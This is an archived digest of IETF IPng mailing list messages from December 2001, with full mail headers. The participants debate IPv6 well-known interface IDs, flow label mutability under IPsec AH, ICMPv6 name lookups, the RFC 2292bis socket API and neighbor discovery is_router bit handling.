(8.11.6/8.11.6) with ESMTP id fBJ9nJI24219 for ; Wed, 19 Dec 2001 10:49:19 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id KAA16639 for ; Wed, 19 Dec 2001 10:49:18 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBJ9nID57263 for ; Wed, 19 Dec 2001 10:49:18 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112190949.fBJ9nID57263@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: ipng@sunroof.eng.sun.com Subject: well-known Interface IDs Date: Wed, 19 Dec 2001 10:49:18 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk There are more and more well-known Interface IDs for uni/anycast addresses, for instance in DNS discovery and HIP. To use well-known IIDs seems to be a good idea but IMHO we should organize the IID space ASAP... Any comments? Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 02:38:03 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJAc3ZR013800 for ; Wed, 19 Dec 2001 02:38:03 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJAc3Vr013799 for ipng-dist; Wed, 19 Dec 2001 02:38:03 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJAc0ZR013792 for ; Wed, 19 Dec 2001 02:38:00 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA00064 for ; Wed, 19 Dec 2001 02:38:02 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA16581 for ; Wed, 19 Dec 2001 02:38:01 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id LAA06286; Wed, 19 Dec 2001 11:37:58 +0100 Received: from dhcp222-13.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA34886 from ; Wed, 19 Dec 2001 11:37:55 +0100 Message-Id: <3C206E03.D4FC5CFB@hursley.ibm.com> Date: Wed, 19 Dec 2001 11:37:55 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: matthew.ford@bt.com Cc: mat@cisco.com, CDunk@rim.net, kempf@docomolabs-usa.com, mrw@windriver.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk We can note the discrepancy, but I doubt if we can change IPSEC at this point in time. Brian matthew.ford@bt.com wrote: > > Well, you can't authenticate it because RFC2402 defines the flow label as > mutable end-to-end. I think this draft probably needs to address this > discrepancy if it is going to define the flow label as immutable end-to-end. > > Mat. > > > -----Original Message----- > > From: Brian E Carpenter [mailto:brian@hursley.ibm.com] > > Sent: 18 December 2001 16:43 > > To: Michael Thomas > > Cc: Craig Dunk; 'James Kempf'; Margaret Wasserman; > > ipng@sunroof.eng.sun.com > > Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > > > > > > I agree; I meant that even at the receiving end you can't > > authenticate it, > > let alone the intermediate hops. > > > > Brian > > > > Michael Thomas wrote: > > > > > > Brian E Carpenter writes: > > > > Yes, the flow label is explicitly excluded from AH. So > > it could be modified > > > > en route and you can't authenticate its value. Assuming > > we decide to use > > > > it as an end2end value, that could be viewed as a bug. > > > > > > That would be a pretty funny view. The only > > > way to make it immutable would be to share a > > > security association with each participating > > > router along the way. I don't think we want > > > to even vaguely contemplate going there. > > > > > > Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 02:44:44 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJAihZR013825 for ; Wed, 19 Dec 2001 02:44:43 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJAihcs013824 for ipng-dist; Wed, 19 Dec 2001 02:44:43 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJAieZR013817 for ; Wed, 19 Dec 2001 02:44:40 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA08942 for ; Wed, 19 Dec 2001 02:44:42 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA04322 for ; Wed, 19 Dec 2001 02:44:41 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBJAiZI32294; Wed, 19 Dec 2001 11:44:35 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id LAA18060; Wed, 19 Dec 2001 11:44:35 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBJAiYD57505; Wed, 19 Dec 2001 11:44:35 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112191044.fBJAiYD57505@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Matt Crawford cc: =?UNKNOWN?Q?J=E9r=F4me?= , ipng@sunroof.eng.sun.com Subject: Re: Mapping between Link Local address and Global address In-reply-to: Your message of Tue, 18 Dec 2001 17:17:45 CST. <200112182317.fBINHkl17891@gungnir.fnal.gov> Date: Wed, 19 Dec 2001 11:44:34 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: draft-ietf-ipngwg-icmp-name-lookups-08.txt But your friendly IESG doesn't want you to have that tool in your hands until you've been told exactly where to point it. => I take advantage of the occasion to support the ICMPv6 name-lookup mechanism: this is very useful when a rogue router for instance sends stupid router advertisements. You know what is its link-local addresses and using ICMPv6 name-lookups (ping6 -w on BSDs) you get its name effortlessly (and even when the IPv6 config was completely messed). This can become a major tool for network management, thanks Matt! Francis.Dupont@enst-bretagne.fr PS: recovery is another problem, I'll send a mail about it because something is needed for it too. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 03:17:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJBH5ZR013872 for ; Wed, 19 Dec 2001 03:17:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJBH5XN013871 for ipng-dist; Wed, 19 Dec 2001 03:17:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJBH2ZR013864 for ; Wed, 19 Dec 2001 03:17:02 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA03615 for ; Wed, 19 Dec 2001 03:17:02 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA04639 for ; Wed, 19 Dec 2001 04:17:47 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBJBJ0D02815; Wed, 19 Dec 2001 18:19:00 +0700 (ICT) From: Robert Elz To: Francis Dupont cc: Matt Crawford , =?UNKNOWN?Q?J=E9r=F4me?= , ipng@sunroof.eng.sun.com Subject: Re: Mapping between Link Local address and Global address In-Reply-To: <200112191044.fBJAiYD57505@givry.rennes.enst-bretagne.fr> References: <200112191044.fBJAiYD57505@givry.rennes.enst-bretagne.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 19 Dec 2001 18:19:00 +0700 Message-ID: <2813.1008760740@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Wed, 19 Dec 2001 11:44:34 +0100 From: Francis Dupont Message-ID: <200112191044.fBJAiYD57505@givry.rennes.enst-bretagne.fr> | => I take advantage of the occasion to support the ICMPv6 name-lookup | mechanism: Since we're doing this, me2... Generally making information about a node available painlessly (provided it is willing to send it of course) is a big step forward. Let's just do a WG last call on this doc, then forward it to the IESG. As I recall it, it has been sitting around idle for ages now, move it along. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 03:23:34 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJBNYZR013895 for ; Wed, 19 Dec 2001 03:23:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJBNYG8013894 for ipng-dist; Wed, 19 Dec 2001 03:23:34 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJBNVZR013887 for ; Wed, 19 Dec 2001 03:23:31 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA12009 for ; Wed, 19 Dec 2001 03:23:32 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA06210 for ; Wed, 19 Dec 2001 04:23:30 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBJBP8D02830; Wed, 19 Dec 2001 18:25:09 +0700 (ICT) From: Robert Elz To: Brian E Carpenter cc: ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <3C206E03.D4FC5CFB@hursley.ibm.com> References: <3C206E03.D4FC5CFB@hursley.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 19 Dec 2001 18:25:08 +0700 Message-ID: <2828.1008761108@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Wed, 19 Dec 2001 11:37:55 +0100 From: Brian E Carpenter Message-ID: <3C206E03.D4FC5CFB@hursley.ibm.com> | We can note the discrepancy, but I doubt if we can change | IPSEC at this point in time. We wouldn't want to anyway. The draft doesn't make the field immutable, it just makes it usually immutable. If it was 0 at the source, then it is mutable, and if the host has told some router(s) that it is OK to alter it, it is mutable as well. Attempting to have IPSec deal with that would be silly. So, it is possible for routers to alter it, undetectably to the receiver. (Or unless copy of what it should be has been sent via other methods, which it very well might be if there's been some flow setup done - the receiver might even have told the senders what value to use if this a multicast session set up via sd or similar). That it is possible however doesn't mean that we can't tell them they must not - just as well tell them they must not increment the hop limit. If they do, there's no way for the receiver to know, so a router could. But it must not - it must decrement it instead. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 03:26:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJBQZZR013920 for ; Wed, 19 Dec 2001 03:26:35 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJBQYg5013919 for ipng-dist; Wed, 19 Dec 2001 03:26:34 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJBQVZR013912 for ; Wed, 19 Dec 2001 03:26:31 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA12297 for ; Wed, 19 Dec 2001 03:26:32 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA18706 for ; Wed, 19 Dec 2001 03:26:30 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBJBSnD02842; Wed, 19 Dec 2001 18:28:49 +0700 (ICT) From: Robert Elz To: Francis Dupont cc: ipng@sunroof.eng.sun.com Subject: Re: well-known Interface IDs In-Reply-To: <200112190949.fBJ9nID57263@givry.rennes.enst-bretagne.fr> References: <200112190949.fBJ9nID57263@givry.rennes.enst-bretagne.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 19 Dec 2001 18:28:49 +0700 Message-ID: <2840.1008761329@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Wed, 19 Dec 2001 10:49:18 +0100 From: Francis Dupont Message-ID: <200112190949.fBJ9nID57263@givry.rennes.enst-bretagne.fr> | To use well-known IIDs seems to be a good idea but IMHO we should | organize the IID space ASAP... Any comments? I don't think it is a good idea at all. In fact it is a terrible idea. If we need anything well known, they should be addresses (of the appropriate scope), not just interface IDs, which then must be assuming some particular size for of interface ID space for all nets, forever, which is another terrible idea (the 64 built into whichever RFC it is is just bogus ... note I don't mean the IPv6 over foobar specs, there it makes sense). kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 04:44:34 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJCiYZR014065 for ; Wed, 19 Dec 2001 04:44:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJCiYKc014064 for ipng-dist; Wed, 19 Dec 2001 04:44:34 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJCiVZR014057 for ; Wed, 19 Dec 2001 04:44:31 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA21865 for ; Wed, 19 Dec 2001 04:44:32 -0800 (PST) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA13899 for ; Wed, 19 Dec 2001 04:44:31 -0800 (PST) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id OAA31205; Wed, 19 Dec 2001 14:44:24 +0200 Date: Wed, 19 Dec 2001 14:44:24 +0200 Message-Id: <200112191244.OAA31205@burp.tkv.asdf.org> From: Markku Savela To: ipng@sunroof.eng.sun.com Subject: concerning draft-ietf-ipngwg-rfc2292bis-03.txt References: <200112172147.XAA29036@burp.tkv.asdf.org> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk in "4.Access to IPv6 and Extension Headers" there is -------- First, to receive any of this optional information (other than the next hop address, which can only be set), the application must call setsockopt() to turn on the corresponding flag: int on = 1; setsockopt(fd, IPPROTO_IPV6, IPV6_RECVPKTINFO, &on, sizeof(on)); setsockopt(fd, IPPROTO_IPV6, IPV6_RECVHOPLIMIT, &on, sizeof(on)); setsockopt(fd, IPPROTO_IPV6, IPV6_RECVRTHDR, &on, sizeof(on)); setsockopt(fd, IPPROTO_IPV6, IPV6_RECVHOPOPTS, &on, sizeof(on)); setsockopt(fd, IPPROTO_IPV6, IPV6_RECVDSTOPTS, &on, sizeof(on)); setsockopt(fd, IPPROTO_IPV6, IPV6_RECVTCLASS, &on, sizeof(on)); --------- I have said it before, but I repeat it once more: above is wrong design because: - api has to be redefined every time a new extension header is introduced, - and if that extension header can appear in multiple places, you have to define multiple options for each possible combination. A much better API would be some definition similar to "struct icmp6_filter", which would use the protocol numbers. If a header occurs multiple times, application would receive all of them. If application needs to care whether some header occurs before another (like DST OPT before Routing), then it would ask both and it can easily find out what it needs (and for common case, like dstopt vs. routing, a small library routine might be provided). -- Markku Savela -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 04:54:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJCsoZR014093 for ; Wed, 19 Dec 2001 04:54:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJCsoWl014092 for ipng-dist; Wed, 19 Dec 2001 04:54:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJCslZR014085 for ; Wed, 19 Dec 2001 04:54:47 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA12657 for ; Wed, 19 Dec 2001 04:54:49 -0800 (PST) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA22647 for ; Wed, 19 Dec 2001 04:54:48 -0800 (PST) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id OAA31223; Wed, 19 Dec 2001 14:54:41 +0200 Date: Wed, 19 Dec 2001 14:54:41 +0200 Message-Id: <200112191254.OAA31223@burp.tkv.asdf.org> From: Markku Savela To: ipng@sunroof.eng.sun.com In-reply-to: <200112191244.OAA31205@burp.tkv.asdf.org> (message from Markku Savela on Wed, 19 Dec 2001 14:44:24 +0200) Subject: Re: concerning draft-ietf-ipngwg-rfc2292bis-03.txt References: <200112172147.XAA29036@burp.tkv.asdf.org> <200112191244.OAA31205@burp.tkv.asdf.org> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > From: Markku Savela Ok, I posted sloppily, as defined it's not as bad as I thought, the destopt before/after routing option has been removed. Good. > in "4.Access to IPv6 and Extension Headers" there is > setsockopt(fd, IPPROTO_IPV6, IPV6_RECVRTHDR, > setsockopt(fd, IPPROTO_IPV6, IPV6_RECVHOPOPTS, > setsockopt(fd, IPPROTO_IPV6, IPV6_RECVDSTOPTS, ..and I pasted other than just extension header options. However, I still question, whether the filter way of specifying them would be a more robust solution. -- Markku Savela -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 05:58:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJDwbZR014145 for ; Wed, 19 Dec 2001 05:58:37 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJDwam6014144 for ipng-dist; Wed, 19 Dec 2001 05:58:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJDwVZR014137 for ; Wed, 19 Dec 2001 05:58:32 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA04854 for ; Wed, 19 Dec 2001 05:58:34 -0800 (PST) Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA11292 for ; Wed, 19 Dec 2001 05:58:33 -0800 (PST) Received: from innovationslab.net ([24.162.252.183]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 19 Dec 2001 08:57:36 -0500 Message-ID: <3C209CE2.798C6324@innovationslab.net> Date: Wed, 19 Dec 2001 08:57:54 -0500 From: Brian Haberman Reply-To: haberman@innovationslab.net X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Francis Dupont CC: ipng@sunroof.eng.sun.com Subject: Re: well-known Interface IDs References: <200112190949.fBJ9nID57263@givry.rennes.enst-bretagne.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis, draft-ietf-malloc-ipv6-guide-04 Section 4.2 describes this for IPv6 multicast. The same thing could be done for anycast and/or unicast. Brian Francis Dupont wrote: > > There are more and more well-known Interface IDs for uni/anycast > addresses, for instance in DNS discovery and HIP. > To use well-known IIDs seems to be a good idea but IMHO we should > organize the IID space ASAP... Any comments? > > Francis.Dupont@enst-bretagne.fr > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 06:06:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJE6pZR014171 for ; Wed, 19 Dec 2001 06:06:51 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJE6oRi014170 for ipng-dist; Wed, 19 Dec 2001 06:06:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJE6lZR014163 for ; Wed, 19 Dec 2001 06:06:47 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA01151 for ; Wed, 19 Dec 2001 06:06:50 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA14139 for ; Wed, 19 Dec 2001 06:06:49 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBJE6FI02196; Wed, 19 Dec 2001 15:06:15 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id PAA22390; Wed, 19 Dec 2001 15:06:15 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBJE6FD58340; Wed, 19 Dec 2001 15:06:15 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112191406.fBJE6FD58340@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Markku Savela cc: ipng@sunroof.eng.sun.com Subject: Re: Clarify NA processing In-reply-to: Your message of Mon, 17 Dec 2001 23:47:58 +0200. <200112172147.XAA29036@burp.tkv.asdf.org> Date: Wed, 19 Dec 2001 15:06:15 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: I've had some problems getting the ND right, especially the IS ROUTER bit handling in some cases. => the is_router flag is in fact very easy: if the NA is valid you take it and you get the transition table (I note u (unkown) the bottom semantical value, with R and H): u -> H, u -> R: just note it u -> u, H -> H, R -> R: nothing to do H -> u, R -> u: should not happen (this is the effect of a cache flush on timeout, not of the reception of a NA) H -> R: uncommon but just note it R -> H: the router is no more a router, flush it from the default router list, etc (i.e. same than a router becomes unreachable). Note that RSs and RAs can change the is_router bit too because only hosts may send RSs and only routers may send RAs. The Target Link-Layer address has nothing to do with the is_router bit but this bit makes the usage of a router recommended for anycasts (i.e. its value should be stable). In some circumstances the TTL is mandatory too (i.e. without it the NA is invalid and must be silently dropped), of course never on links without link-layer addresses (as most of IPv6 over IPv4 tunnels). IMHO this is a good practice to put the S/TLL when it is not explicitely forbidden in neighbor discovery messages. Regards 